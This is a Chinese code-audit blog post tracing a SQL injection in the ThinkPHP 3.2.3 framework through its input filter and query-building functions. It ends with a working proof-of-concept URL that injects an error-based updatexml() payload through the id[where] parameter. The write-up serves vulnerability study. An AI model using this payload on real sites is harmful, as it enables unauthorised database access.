代碼審計-thinkphp3.2.3框架漏洞sql注入

開始復現審計一下tp3和tp5的框架漏洞,當個練習吧。php

 

 

涉及注入的方法爲where() table() delete()等。sql

環境 tp3.2.3 :thinkphp

 

 

 

0x01 注入成因

測試代碼:數組

    public function index2(){
//        $data = M('user')-> where('username = "admin"')->select();
//        dump($data);
        $id = i('id');
        $res = M('user')->find($id);

 

 

 

 

I方法斷點 跟進去看。安全

 

 

 

F7跟進, thinkphp/ThinkPHP/Common/functions.php :cookie

從283行開始看 首先判斷提交方式:session

......
switch(strtolower($method)) {
        case 'get'     :   
            $input =& $_GET;
            break;
        case 'post'    :   
            $input =& $_POST;
            break;
        case 'put'     :   
            if(is_null($_PUT)){
                parse_str(file_get_contents('php://input'), $_PUT);
            }
            $input     =    $_PUT;        
            break;
        case 'param'   :
            switch($_SERVER['REQUEST_METHOD']) {
                case 'POST':
                    $input  =  $_POST;
                    break;
                case 'PUT':
                    if(is_null($_PUT)){
                        parse_str(file_get_contents('php://input'), $_PUT);
                    }
                    $input     =    $_PUT;
                    break;
                default:
                    $input  =  $_GET;
            }
            break;
        case 'path'    :   
            $input  =   array();
            if(!empty($_SERVER['PATH_INFO'])){
                $depr   =   C('URL_PATHINFO_DEPR');
                $input  =   explode($depr,trim($_SERVER['PATH_INFO'],$depr));            
            }
            break;
        case 'request' :   
            $input =& $_REQUEST;   
            break;
        case 'session' :   
            $input =& $_SESSION;   
            break;
        case 'cookie'  :   
            $input =& $_COOKIE;    
            break;
        case 'server'  :   
            $input =& $_SERVER;    
            break;
        case 'globals' :   
            $input =& $GLOBALS;    
            break;
        case 'data'    :   
            $input =& $datas;      
            break;
        default:
            return null;
    }

 

重點看過濾的地方框架

 

 

 

 

 

 

 

think_filter:函數

 

 

function think_filter(&$value){
// TODO 其餘安全過濾

// 過濾查詢特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
    $value .= ' ';
}
}

 

這裏基本就是成因了 黑名單過濾 可是有漏網之魚 常見的updataxml()報錯函數都沒過濾。post

 

跟到後面在函數 parseSet能夠看到咱們提交的字符串做爲佔位符:

 

 

 

protected function parseSet($data) {
        foreach ($data as $key=>$val){
            if(is_array($val) && 'exp' == $val[0]){
                $set[]  =   $this->parseKey($key).'='.$val[1];
            }elseif(is_null($val)){
                $set[]  =   $this->parseKey($key).'=NULL';
            }elseif(is_scalar($val)) {// 過濾非標量數據
                if(0===strpos($val,':') && in_array($val,array_keys($this->bind)) ){
                    $set[]  =   $this->parseKey($key).'='.$this->escapeString($val);
                }else{
                    $name   =   count($this->bind);
                    $set[]  =   $this->parseKey($key).'=:'.$name;
                    $this->bindParam($name,$val);
                }
            }
        }
        return ' SET '.implode(',',$set);
    }

 

_parseOptions方法:

if (is_array($options)) { //當$options爲數組的時候與$this->options數組進行整合
            $options = array_merge($this->options, $options);
        }
 
        if (!isset($options['table'])) {//判斷是否設置了table 沒設置進這裏
            // 自動獲取表名
            $options['table'] = $this->getTableName();
            $fields           = $this->fields;
        } else {
            // 指定數據表 則從新獲取字段列表 但不支持類型檢測
            $fields = $this->getDbFields(); //設置了進這裏
        }
 
        // 數據表別名
        if (!empty($options['alias'])) {//判斷是否設置了數據表別名
            $options['table'] .= ' ' . $options['alias']; //注意這裏,直接拼接了
        }
        // 記錄操做的模型名稱
        $options['model'] = $this->name;
 
        // 字段類型驗證
        if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { //讓$optison['where']不爲數組或沒有設置不進這裏
            // 對數組查詢條件進行字段類型檢查
           ......
        }
        // 查詢事後清空sql表達式組裝 避免影響下次查詢
        $this->options = array();
        // 表達式過濾
        $this->_options_filter($options);
        return $options;

 

當咱們傳入的值不爲數組,直接進行解析返回帶進查詢,沒有任何過濾。

同時$options['where']也同樣,看到parseWhere函數
$whereStr = '';
        if (is_string($where)) {
            // 直接使用字符串條件
            $whereStr = $where; //直接返回了,沒有任何過濾
        } else {
            // 使用數組表達式
           ......
        }

 

 

 

0x02 復現利用

http://www.qing-tp3.com/index.php?m=Home&c=Index&a=index2&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- 

 

 

 

 

跟到最後的時候仍是有點小繞 delet那些方法產生注入大同小異 回來再寫 上班~

相關文章
相關標籤/搜索